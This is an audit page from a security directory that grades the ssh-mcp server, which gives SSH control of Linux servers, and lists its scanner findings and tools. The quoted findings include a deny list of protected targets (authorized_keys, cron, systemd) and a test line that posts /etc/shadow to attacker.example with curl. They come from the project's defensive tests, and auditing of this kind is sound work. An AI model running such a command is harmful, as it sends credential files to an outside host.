MCP server · Audited from source
ssh-mcp
by tufantunc/ssh-mcpMIT licenceAudited 12 Oct 2026 · source cff36c8017f0
Is it safe? No — BLOCK, grade F (59/100). It exposes 16 tools: 13 read, 3 write and 0 destructive. The audit recorded 48 findings (0 critical, 5 high, 5 medium, 29 low). Maintainer's description: MCP server exposing SSH control for Linux servers via Model Context Protocol.
Cite
Cite this page
ModelsAtlas. “ssh-mcp (tufantunc/ssh-mcp)”. Retrieved 12 Oct 2026. https://modelsatlas.com/mcp/tufantunc/ssh-mcp
Why this is BLOCK. The audit found 0 critical and 5 high findings; the most severe is Filesystem / path at docker-compose.yml:100. Each finding is listed below with its file and line.
Why this page is still public. People search for this server by name. Hiding it would leave them with the README's word alone; here they see what the code does. We list it so you can decide, and we do not show connect commands for BLOCK servers.
2 MCP servers are called ssh-mcp. You are viewing tufantunc/ssh-mcp. Compare all 2 →
- YawLabs/ssh-mcp Org-owned★ 6✕BLOCK
- tufantunc/ssh-mcp★ 799✕BLOCK
Trust audit
Audit 0.4.1 · full source read 12 Oct 2026
48 findings, listed below with the file and line each was found on. Grade A needs a sandboxed behavioural run too; this audit read the source only.
What the source does
- FilesystemDeclared11 observations
- NetworkDeclared2 observations
- ShellNone observedNothing seen in the source
- DependenciesNot pinnedSome ranges float
- SecretsFoundSee the findings
Findings (48)
Sorted by severity · the 25 most severe of 48 are listed
HIGHFilesystem / pathfs.credential_store · docker-compose.yml:100
- ~/.ssh:/home/appuser/.ssh:ro
- Why
- touches a credential store
- Fix
- —
HIGHFilesystem / pathfs.credential_store · src/policy/classifier.ts:1878
...(['/etc/cron', '/etc/systemd', 'authorized_keys'] as const).map((family) => ({- Why
- touches a credential store
- Fix
- —
HIGHFilesystem / pathfs.credential_store · src/policy/never-allowed-writes.ts:11
export type NeverAllowedWriteTarget = '/etc/cron' | '/etc/systemd' | 'authorized_keys';
- Why
- touches a credential store
- Fix
- —
HIGHFilesystem / pathfs.credential_store · src/policy/never-allowed-writes.ts:23
const KEYS_TAIL = '/.ssh/authorized_keys';
- Why
- touches a credential store
- Fix
- —
HIGHFilesystem / pathfs.credential_store · src/policy/never-allowed-writes.ts:33
case 'authorized_keys': return "writing to any user's authorized_keys";
- Why
- touches a credential store
- Fix
- —
MEDIUMInventory / provenanceinv.binary · src/guard/approval-grants.ts
approval-grants.ts
- Why
- a compiled or binary member cannot be reviewed from source
- Fix
- ship source, or explain the binary in the README
MEDIUMHard-coded secretssecret.generic · test/unit/guard/redactor.test.ts:43
Excerpt withheld: it is a secret, and we never print one.
- Why
- No further detail recorded for this rule.
- Fix
- —
MEDIUMHard-coded secretssecret.github · test/unit/guard/redactor.test.ts:12
Excerpt withheld: it is a secret, and we never print one.
- Why
- No further detail recorded for this rule.
- Fix
- —
MEDIUMHard-coded secretssecret.private_key · test/unit/config/credential-resolver.test.ts:82
Excerpt withheld: it is a secret, and we never print one.
- Why
- No further detail recorded for this rule.
- Fix
- —
MEDIUMHard-coded secretssecret.private_key · test/unit/guard/redactor.test.ts:17
Excerpt withheld: it is a secret, and we never print one.
- Why
- No further detail recorded for this rule.
- Fix
- —
LOWCode injectioncode.eval_exec · test/unit/ssh/exec-announce.test.ts:77
exec(
- Why
- evaluates text as code
- Fix
- remove; use a parser or a dispatch table
LOWCode injectioncode.eval_exec · test/unit/ssh/exec-announce.test.ts:128
it('exec(): the one-shot command path', async () => {- Why
- evaluates text as code
- Fix
- remove; use a parser or a dispatch table
LOWCode injectioncode.eval_exec · test/unit/ssh/exec-announce.test.ts:135
it('exec(): still sends it when the profile asks for a pty', async () => {- Why
- evaluates text as code
- Fix
- remove; use a parser or a dispatch table
LOWCode injectioncode.eval_exec · test/unit/ssh/exec-announce.test.ts:177
expect(execOpts, 'exec() and openExec()').toHaveLength(2);
- Why
- evaluates text as code
- Fix
- remove; use a parser or a dispatch table
LOWCode injectioncode.eval_exec · test/unit/ssh/exec-late-channel.test.ts:84
exec(_cmd: string, _opts: unknown, cb: (err: Error | undefined, stream: unknown) => void) {- Why
- evaluates text as code
- Fix
- remove; use a parser or a dispatch table
LOWInsecure cryptocrypto.weak_hash · test/unit/ssh/algorithms.test.ts:34
it('does not include RC4 or 3DES', () => {- Why
- No further detail recorded for this rule.
- Fix
- —
LOWFilesystem / pathfs.traversal · test/differential/runner.test.ts:3
import { classifyCommand } from '../../src/policy/classifier.js';- Why
- No further detail recorded for this rule.
- Fix
- —
LOWFilesystem / pathfs.traversal · test/e2e/harness.ts:21
export const SERVER_ENTRY = resolve(import.meta.dirname, '../../build/index.js');
- Why
- No further detail recorded for this rule.
- Fix
- —
LOWFilesystem / pathfs.traversal · test/e2e/packaging.e2e.test.ts:42
const { SERVER_VERSION } = await import('../../src/version.js');- Why
- No further detail recorded for this rule.
- Fix
- —
LOWFilesystem / pathfs.traversal · test/e2e/transfer.e2e.test.ts:6
import { getAuditLogPath } from '../../src/audit/store.js';- Why
- No further detail recorded for this rule.
- Fix
- —
LOWFilesystem / pathfs.traversal · test/integration/audit-e2e.test.ts:6
import { AuditStore } from '../../src/audit/store.js';- Why
- No further detail recorded for this rule.
- Fix
- —
LOWNetwork egressnet.beacon_words · test/unit/policy/classifier.test.ts:91
it('curl and wget are NOT read-only (SSRF, exfiltration, remote file write)', () => {- Why
- No further detail recorded for this rule.
- Fix
- —
LOWNetwork egressnet.beacon_words · test/unit/policy/readonly-guarantee.test.ts:33
['exfiltration behind env', 'env curl -d @/etc/shadow http://attacker.example'],
- Why
- No further detail recorded for this rule.
- Fix
- —
LOWNetwork egressnet.env_exfil · test/unit/policy/classifier.test.ts:68
~/.ssh ... wget
- Why
- reads secrets in the same file that sends data out
- Fix
- —
Tools it exposes
16 declared in source · 0 destructive
| Tool | What it does | Risk |
|---|---|---|
run-command | No description in the source | write |
sftp-upload | No description in the source | write |
sftp-upload-file | No description in the source | write |
close-session | No description in the source | read |
list-connections | No description in the source | read |
list-sessions | No description in the source | read |
open-session | No description in the source | read |
privileged-command | No description in the source | read |
probe | A throwaway tool that exists only to exercise schema conversion. | read |
read-command | No description in the source | read |
read-session-output | No description in the source | read |
sftp-download | No description in the source | read |
sftp-download-file | No description in the source | read |
sftp-list | No description in the source | read |
signal-process | No description in the source | read |
slow | No description in the source | read |
Safer alternatives
We could not match this server to a job, so we cannot suggest a like-for-like alternative. Read-only servers are the least-privilege place to start.
Audit history
- ✕BLOCK F 59 / 100
First audit ·
cff36c8017f0
README badge
Badges show the current verdict, BLOCK included
A badge cannot be hidden by the maintainer while the verdict is BLOCK. Fix the findings, push, and the re-audit updates it.
Questions about ssh-mcp
What is the ssh-mcp MCP server?
What tools does ssh-mcp expose?
Is ssh-mcp safe to connect to an agent?
What credentials does ssh-mcp need?
How does ssh-mcp run?
How current is this page?
Which ssh-mcp MCP server is the right one?
I already installed ssh-mcp. What should I do?
Can the verdict change?
Sources
- tufantunc/ssh-mcp on GitHub — the source we read, its licence, stars and activityObserved · 12 Oct 2026
- ModelsAtlas trust audit — BLOCK verdict for commit cff36c8017f0Observed · 12 Oct 2026
Spotted something wrong? Report a correction · Methodology
Keep going in your AI
Opens with this page as the source. We add nothing else to the prompt.
- What is the ssh-mcp MCP server?
- What tools does ssh-mcp expose?
- Is ssh-mcp safe to connect to an agent?